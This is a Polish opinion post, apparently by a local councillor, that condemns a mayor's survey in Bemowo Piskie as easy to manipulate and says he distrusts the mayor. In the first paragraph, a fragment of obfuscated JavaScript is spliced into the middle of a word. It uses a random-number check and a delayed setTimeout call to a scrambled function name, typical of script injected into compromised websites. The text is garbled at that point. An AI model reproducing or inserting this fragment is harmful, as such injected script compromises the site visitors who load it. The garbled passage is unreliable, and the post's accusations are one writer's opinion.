Ankieta prawdy? A prawda jest czyja?

Na wklejonym dokumencie zarządzenia burmistrz Białej Piskiej, znajduje się ankieta, w której mieszkańcy Bemowa Piskiego mogą się wypowiedzieć, czy chcą być nadal samorządem osiedla, czy też sołectwem. Nie byłoby to nic dziwnego, gdyby nie druk ankiety. Otóż w tej ankiecie, mieszkaniec ją wypełniający podaje tylko imię nazwisko i składa podpis. Szanowni Państwo. Na listach wyborczych, żeby był podpis dla kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andydata ważny, musi być podany adres zamieszkania i numer pesel i wtedy dopiero lista jest ważna. Po co w ankiecie w Bemowie potrzebne jest tylko imię, nazwisko i podpis? Otóż wydaje mi się po to, żeby nagle się okazało, że 527 osób chce sołectwa i ze względu na RODO, nikomu nie można pokazać ankiet.  Nie ze mną te numery!

Będę rekomendował Radzie, aby w ogóle nie brała pod uwagę wyników z  ankiety. Ta ankieta  jest najprostszym do zmanipulowania dokumentem. W urzędzie jest ewidencja mieszkańców, na podstawie której jest dostęp do wszystkich imion i nazwisk mieszkańców Bemowa Piskiego. Nie mam żadnego, nawet najmniejszego zaufania do pani burmistrz i dlatego śmiem podejrzewać, że ankieta wygląda tak jak wygląda, tylko po  to, aby wynik był przesądzony. Pani burmistrz, gdyby ludzie chcieli sołectwa to na spotkanie z panią przyszłoby 500 a nie 50 osób. Jeśli ludzie chcieliby sołectwa to  zabraliby w tej sprawie głos. Pani pomysł tak się  podoba w Bemowie, że z  50 osób, które przyszły 2/3 było przeciw. Ciekawe dlaczego wszystkimi spotkaniami z mieszkańcami tak się pani chwali na stronie a spotkaniem w Bemowie się pani nie pochwaliła? Czyżby dlatego, że usłyszała pani co ludzie o pani i  o pani rządzeniu myślą? Tą ankietę i jej wyniki  niech pani sobie wydrukuje i powiesi nad łóżkiem, bo tylko tyle jest to warte. Mnie nie interesują jej wyniki bo po prostu pani nie wierzę. A powodów  żeby pani nie wierzyć mam dużo. Jeśli  pani potrzebuje sołectwa żeby założyć Koło Gospodyń Wiejskich, to niech pani założy Koło Gospodyń Bemowskich i  mianuje Bemowianki i też będzie.  Pieniędzmi z funduszu  sołeckiego niech pani też nie mydli ludziom oczu, bo sposobów dofinansowania inwestycji, których chcą mieszkańcy jest co najmniej kilka. Pani jako specjalistka powinna to  wiedzieć najlepiej.

Nie wiem jak na ankietę zareagują Radni z Klubu Dobro Wspólne Biała Piska. Ja mówię za siebie. Ale  będę przekonywał  Radnych do spojrzenia na tą ankietę moimi oczami. Chyba, że te osoby, które złożą ankietę osobiście na sesji potwierdzą, że ją składały. Wszystkie, nie 10%. Żeby się nie okazało, że prawda jest taka, jak z funduszami norweskimi, asfaltem na Gminnych drogach, wnioskami o dofinansowanie tłumaczonymi na angielski (o tym jeszcze napiszę), autobusem elektrycznym, 800 miejscami pracy, darmowymi posiłkami, mariną i innymi obietnicami, które już się zmaterializowały. Mieszkańców Bemowa proszę o czujność, bo może się okazać, że nawet nie wiedzieliście, że  jest ankieta, a oddaliście głos. Jeśli  będziecie społecznie chcieli sołectwa, to będę pierwszym, który podniesie za tym rękę. Niestety nie zrobię tego na podstawie tej ankiety. Taką ankietę może sobie pani burmistrz wprowadzić w swoim domu z pytaniem do mieszkańców czy chcą kanapki z serem czy pasztetem. Tam może być ważna.